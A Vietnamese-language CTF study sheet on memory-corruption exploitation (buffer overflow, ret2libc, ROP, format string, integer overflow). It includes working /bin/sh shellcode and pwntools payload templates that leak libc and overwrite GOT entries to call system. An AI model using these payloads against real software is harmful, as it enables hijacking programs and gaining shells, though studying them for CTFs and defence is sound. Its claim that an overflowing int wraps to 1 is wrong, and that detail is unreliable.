Try   HackMD

Buffer Overflow

  • tóm tắt về kỹ thuật trên, là lỗi tràn biến thông dụng
  • ta có thể lợi dụng lỗi này để chèn vào file 1 shellcode (mã độc) để nắm quyền kiểm soát hoặc đưa chương trình chạy về hàm mình mong muốn
  • có nhiều cách khai thác như

ret2win
ret2shellcode
ret2libc
ROPchain
OW rbp thay đổi biến
OW rbp thay đổi luồng thực thi
OffByOne

ret2win

  • "win" ở đây đơn giản là tên gọi chung của hàm lấy flag hoặc cho ta shell, thông thường hàm này sẽ không display trên main
  • vì vậy để lấy flag hoặc shell thì ta cần điều hướng đi từ main về đích là win
  • kỹ thuật này ta cần tìm offset để save_$rbp, sau đó truyền dữ liệu địa chỉ mà hàm ta muốn trỏ tới
  • khá giống với cách jump, thì ở đây ta đã save_rbp thì dữ liệu tiếp theo ta phải save_rip với dữ liệu đó là địa chỉ win
  • có thể leak địa chỉ hàm win từ gdb p&win hoặc ta có thể sử dụng exe.sym['win'] (nếu PIE tĩnh hoặc xác định được exe_base)
  • khi ta đã tiến vào trong hàm win, chương trình sẽ tiếp tục cộng trừ nhân chia gì đó cho stack
  • tuỳ chall sẽ khiến cho stack không chia hết 16, việc ta cần làm là skip qua lệnh cộng trừ đó
  • thông thường là sau câu lệnh push hoặc thêm địa chỉ ret để thêm 8 byte

thường thấy là lỗi xmm0 , xmm1
xem thêm

ret2shellcode

  • kỹ thuật này ta sẽ sài khi file k có hàm đọc flag hay system, và kiểm tra checksec có NX tắt (stack thực thi được)

64 bits

  • shellcode ta sẽ truyền thông qua hợp ngữ asm
  • thanh ghi chủ chốt để tạo shell
$rax : 0x3b
$rdi : <addr> ---> 0x68732f6e69622f ('/bin/sh')
$rdx : 0x0
$rsi : 0x0
  • shellcode mẫu cho file 64 bits
mov rbx, 29400045130965551
push rbx

mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
  • $rdi phải trỏ tới đỉnh stack

tuỳ 1 số bài mà ta phải viết shellcode custom (tự nó sửa chính nó hoặc call để làm 1 việc khác ngoài lấy shell)

32 bits

  • thanh ghi chủ chốt để tạo shell
$eax : 0xb
$ebx : <addr> ---> 0x6e69622f ('/bin') ... (nối đuôi)'//sh'
$ecx : 0x0
$edx : 0x0
  • shellcode mẫu cho file 32 bits
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp

push eax
push eax
pop ecx
pop edx
mov al,0xb
int 0x80

ret2libc

  • thông thường kĩ thuật này ta phải get_shell, là sẽ không có hàm đọc flag và ngoài ra ta phải leak thêm địa chỉ libc
  • hầu hết trong libc sẽ có lệnh system
  • ta có thể tải các phiên bản libc tại đây link1 ; link2
  • kĩ thuật này ta cũng cần tính libc base, tức là địa chỉ nhỏ nhất của libc để từ đó mình thực thi system cho chính xác
  • 2 khái niệm GOTPLT:
    - GOT : Global Offset Table #chứa địa chỉ hàm trong libc
    - PLT : Procedure Linkage Table #thực thi hàm trong GOT
  • ta có thể lấy GOT 1 trong các hàm có ở file, dùng gdb để kiểm tra với cú pháp got
  • ta sẽ lựa chọn khôn ngoan chọn hàm sao cho ít đòi hỏi nhiều về các arg (thông thường là 'puts')

64 bits

  • tuỳ file mà sau khi leak dc libc là end chương trình, lúc này ta sẽ cho thực thi hàm 1 lần nữa bằng cách chạy lại hàm main exe.sym['main']
  • xong xuôi, ta cần thêm thanh ghi $rdi để trỏ tới chuỗi '/bin/sh' next(libc.search(b'/bin/sh))
  • rồi thực thi lệnh system libc.sym['system']
  • payload mẫu:
#leaking
payload = b'A'*8 #padding
payload += b'B'*8 #save_rbp
payload += p64(pop_rdi) + p64(exe.got['puts'])
payload += p64(exe.plt['puts'])
payload += p64(exe.sym['main'])

#get_shell
payload = b'A'*8 #padding
payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0')))
payload += p64(libc.sym['system'])

32 bits

  • khác với file 64 bits ở chỗ các arg được push vào thanh ghi thông qua stack
  • payload mẫu:
#leaking
payload = b'a'*4 #padding
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])

#get_shell
payload = b'A'*4 #padding
payload += p32(libc.sym['system'])
payload += b'B'*8 #return system
payload += p32(next(libc.search(b'/bin/sh\0')))

ROPchain

  • kỹ thuật này để tìm các thanh ghi nhằm chỉnh sửa tham số từng thanh ghi cho mục đích khai thác
  • ví dụ:
$ ROPgadget --binary <file> | grep "pop rax"
# ví dụ tham số để gọi execve ---> get_shell
$rax : 0x3b
$rdi : <addr> →  0x68732f6e69622f ("/bin/sh"?) 
$rsi : 0x0
$rdx : 0x0
$rip : <addr> -> syscall
  • hoặc ta có thể làm vs cú pháp sau
$ ROPgadget --binary <file> --ropchain
  • còn 1 tool khác cũng tìm các đoạn nhỏ của chương trình cho ta là ropper
$ ropper -f <file>

Off_by_One

  • đây là dạng bug thường gặp trong hàm scanf() (fmtstr là %s)

tự động thêm NULL byte vào cuỗi mỗi chuỗi

  • là khi mình nhập đủ lượng byte cho phép của hàm scanf() thì byte cuối chuỗi mình truyền vào sẽ add thêm NULL byte -> đồng nghĩa với việc lỗi BOF (tràn 1 byte NULL)
  • thay đổi được địa chỉ tiếp theo -> least significant byte
  • khi thay đổi được 1 byte cuối (có thể trên stack), đồng nghĩa với việc tại địa chỉ (cũ) đó sẽ bị dựt lên trên
  • và mục tiêu để khai thác sẽ đa dạng tuỳ theo bài (maybe brute force, v.v..)

khó mà đưa ra hướng khai thác chung lắm, chỉ còn cách gặp nó mà biết
hoặc tham khảo nhiều nguồn mà học

Format String

  • đây là dạng kỹ thuật hoàn toàn mới, khi gặp những bài không có tràn biến (BOF) hoặc bài nhập vào r có 1 hàm in lại những gì mình nhập

chủ yếu hàm printf() mà không có format

  • tới bài này, thường thường payload ta sẽ chèn toán tử (câu lệnh của python) f ' ' thay vì b ' '
  • f ' ' là truyền dữ liệu vào 1 cái chuỗi mà k cần dùng toán tử +
  • 5 arg đầu sẽ nằm trên thanh ghi, ở % thứ 6 sẽ nằm trên stack (file 64 bits)

32 bits sẽ nằm hết trên stack

  • lấy | sửa | ghi địa chỉ ở stack thứ x sẽ dùng cú pháp %x$X với x là vị trí ta muốn fmt, X là dạng fmt

%p

  • leak địa chỉ

%s

  • leak dữ liệu chứa trong địa chỉ (đa số là dữ liệu chứa trong heap)

%c và %n

  • đọc(đếm) và ghi(thay đổi)
  • %n là ghi 4 byte
  • %hn là ghi 2 byte
  • %hhn là ghi 1 byte (bội số của 2)

package

package = {
        gadget & 0xffff: ow_addr,
        gadget >> 16 & 0xffff: ow_addr+2,
        gadget >> 32 & 0xffff: ow_addr+4,
}
order = sorted(package)
  • với gadget là địa chỉ muốn ow thành, còn ow_addr là địa chỉ muốn bị ow
  • điều này giúp ta ghi đè 1 addr thành 1 addr khác thông qua bug fmtstr
  • package[i] sẽ chứa địa chỉ (2 bytes) sẽ bị ow
  • còn sorted(pakage) để sắp xếp thứ tự byte tăng dần

để '%c' chính xác hơn

  • ví dụ:
got:  0x404018
system:  0x7fc51f8fdd70
order[0]:  0x1f8f
order[1]:  0x7fc5
order[2]:  0xdd70
package[order[0]]:  0x40401a
package[order[1]]:  0x40401c
package[order[2]]:  0x404018
  • về payload, ta sẽ chain hợp lí để nó ow chính xác
payload = f'%{order[0]}c%13$hn'.encode()
payload += f'%{order[1] - order[0]}c%14$hn'.encode()
payload += f'%{order[2] - order[1]}c%15$hn'.encode()
payload = payload.ljust(64-24,b'a')
payload += flat(
    package[order[0]],
    package[order[1]],
    package[order[2]],
)

payload mẫu trên
64 là lượng ta muốn padding
24 là 3 địa chỉ của package

định dạng con '*'

  • lưu ý '*' ở đây là toán tử, không còn là con trỏ như trong C (dễ bị nhầm lẫn)
  • dấu '*' tương tự như in padding
  • payload mẫu
payload = f'%*14$c%15$hn'
payload += p64(ow_addr)

cần tại %14 là lượng byte ta muốn in padding
ở %15 là addr ta muốn ow
sau printf() sẽ lấy lượng byte ở %14 mà %c trỏ đến sau đó ghi vào %15

full form & short form

  • 2 khái niệm tương đối khác nhau

fmt full form

  • full form thì nó sẽ thực thi lần lượt từng fmt từ trái sang phải

fmt short form

  • short form là nó sẽ thực thi những thằng $ trước, xong mấy thằng ko có $ thì thực thi lần lượt từ trái sang phải

Interger Overflow

  • lỗi này là dạng tràn số nguyên, ép kiểu

tràn số nguyên

Kiểu Kích thước Vùng giá trị
char 1 byte -128 tới 127 hoặc 0 tới 255
unsigned char 1 byte 0 tới 255
signed char 1 byte -128 tới 127
int 2 hoặc 4 bytes -32,768 tới 32,767 hoặc -2,147,483,648 tới 2,147,483,647
unsigned int 2 hoặc 4 bytes 0 tới 65,535 hoặc 0 tới 4,294,967,295
short 2 bytes -32,768 tới 32,767
unsigned short 2 bytes 0 tới 65,535
long 4 bytes -2,147,483,648 tới 2,147,483,647
unsigned long 4 bytes 0 tới 4,294,967,295

  • lấy ví dụ ở đây, int có miền giá trị [-2,147,483,648 ; 2,147,483,647] (tuỳ cách khai báo kiểu _int hay _int64), nếu ta nhập lớn hơn maximum của int 1 đơn vị, thì sẽ đếm lại thành 1.
  • nôm na giống đồng hồ công tơ mét.
công tơ mét xe số có 6 số
bắt đầu từ 000000
kết thúc ở 999999
ta đi thêm 1 km nữa
công tơ mét sẽ reset về 000000
(đúng hơn là [1]000000 nhưng do đồng hồ chỉ hiển thị 6 số)
và dấu hiệu là xe mình đã đi hết 1 vòng cuộc đời kkk
  • mẹo: với đơn vị hex thì byte 0x80.. sẽ là số âm, và 0x7f vẫn còn là dương.
long int dc nhập vào với giá trị 0x7fffffffffffffff sẽ là dương cực đại (9223372036854775807)
  • mẹo: với đơn bị bin thì bit đầu tiên sẽ quyết định là số âm hay dương
0b10001001 là số âm
0b01001001 là số dương
theo chuẩn dữ liệu máy tính hiểu

ép kiểu

  • với hàm scanf() sẽ có nhiều kiểu format
  • và có 1 trick dành cho 1 kiểu format %lf khá oái ăm (kiểu double)
  • ví dụ nếu ta nhập 1 , thì stack nó lại nhận ntn:

$rdi hiểu là 0x31 (số 1) nhưng stack hiện tại là 0x3ff0000000000000

  • trong python có cách convert về kiểu double:
payload = str(struct.unpack('d', p64(addr))[0]).encode()
###################################################################################
payload = str(struct.unpack('d', b'\xff\xff\xff\xff\xff\xff\xff\xff')[0]).encode()

bypass

  • ngoài ra để không nhập gì vào stack với format %lf (%d, %u, %ld) thì ta dùng dấu . (chấm)

link support cho pwner

  • custom shellcode
    here
  • system call
    here
  • privillege escalation base on /usr/bin
    here

CTF Note